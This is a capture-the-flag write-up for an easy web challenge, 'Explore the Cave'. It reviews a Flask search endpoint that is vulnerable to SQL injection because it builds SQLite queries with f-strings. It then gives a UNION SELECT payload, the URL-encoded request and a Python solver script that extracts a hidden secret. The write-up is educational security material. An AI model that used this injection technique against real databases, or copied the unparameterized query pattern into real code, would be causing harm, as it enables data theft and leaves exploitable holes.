← Back to Writeups
CUSTOMEasyWeb

Explore the Cave

XESXOR9/10/20263 min read
#web#custom#easy#source_code_review#union_based_sqli#linux

Explore the Cave

Platform: uiuc2026 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-08-08 | Status: Solved Techniques: source_code_review, union_based_sqli

Summary

Task: A Flask loot search interpolates user input into a three-column SQLite query while a hidden table stores the target item. Solution: A compatible UNION SELECT extracts the hidden row and renders its secret field.

Explore the Cave — uiuc2026

Description

A beast once guarded this cave, but the treasure inventory is still hiding something legendary. Can you find the blue ocarina?

The handout provides a Flask application containing a searchable cave inventory. The goal is to find the hidden blue ocarina and recover the associated secret.

Analysis

Source review immediately identifies the vulnerable data flow. The /search endpoint reads the attacker-controlled q parameter and inserts it directly into three SQLite LIKE predicates (challenge/app.py:67-77):

python
term = request.args.get("q", "")

query = (
    "SELECT item_count, item, description FROM main_cave "
    f"WHERE item_count LIKE '%{term}%' "
    f"OR item LIKE '%{term}%' "
    f"OR description LIKE '%{term}%' "
    "ORDER BY item"
)

There is no parameter binding or escaping, so q can alter the query structure. Database initialization also reveals a second table (challenge/app.py:20-42):

sql
CREATE TABLE main_cave (item_count TEXT, item TEXT, description TEXT);
CREATE TABLE secret_opening (item TEXT, secret, description TEXT);

The hidden table contains the blue ocarina row, and its secret column receives the flag from the environment. Most importantly, both the visible query and hidden table have three columns, making direct UNION extraction possible without padding or column-count discovery.

Solution

Use the following value for q:

sql
' UNION SELECT item, secret, description FROM secret_opening-- 

Inserted into the application query, it produces the relevant structure:

sql
SELECT item_count, item, description FROM main_cave
WHERE item_count LIKE '%%'
UNION SELECT item, secret, description FROM secret_opening-- '
OR item LIKE '...'
OR description LIKE '...'
ORDER BY item

The opening quote closes the first LIKE pattern. UNION SELECT then returns the three hidden fields in an order compatible with the original result, while SQLite's -- comment consumes the remaining predicates and ORDER BY through the end of the statement. The first original predicate remains valid as item_count LIKE '%%'.

The application fetches the combined rows and passes them to Jinja (challenge/app.py:79-129). Each result is rendered as three table cells. For the injected row, the hidden secret value occupies the second cell and is therefore disclosed directly in the response.

The URL-encoded request shape is:

http
GET /search?q=%27%20UNION%20SELECT%20item%2C%20secret%2C%20description%20FROM%20secret_opening--%20

The supplied solver automates the request and extracts a value matching the public flag format:

python
#!/usr/bin/env python3
import re
import sys
import urllib.parse
import urllib.request


if len(sys.argv) != 2:
    raise SystemExit(f"usage: {sys.argv[0]} BASE_URL")

base = sys.argv[1].rstrip("/")
payload = "' UNION SELECT item, secret, description FROM secret_opening-- "
url = base + "/search?" + urllib.parse.urlencode({"q": payload})

with urllib.request.urlopen(url, timeout=15) as response:
    body = response.read().decode("utf-8", "replace")

flags = re.findall(r"uiuctf\{[^}\r\n]+\}", body)
if not flags:
    raise SystemExit(f"flag not found; request was: {url}")

print(flags[0])

Run it against the challenge instance:

bash
python3 solve.py 'https://inst-46d471bd44649683-explore-cave-sql.chal.uiuc.tf/'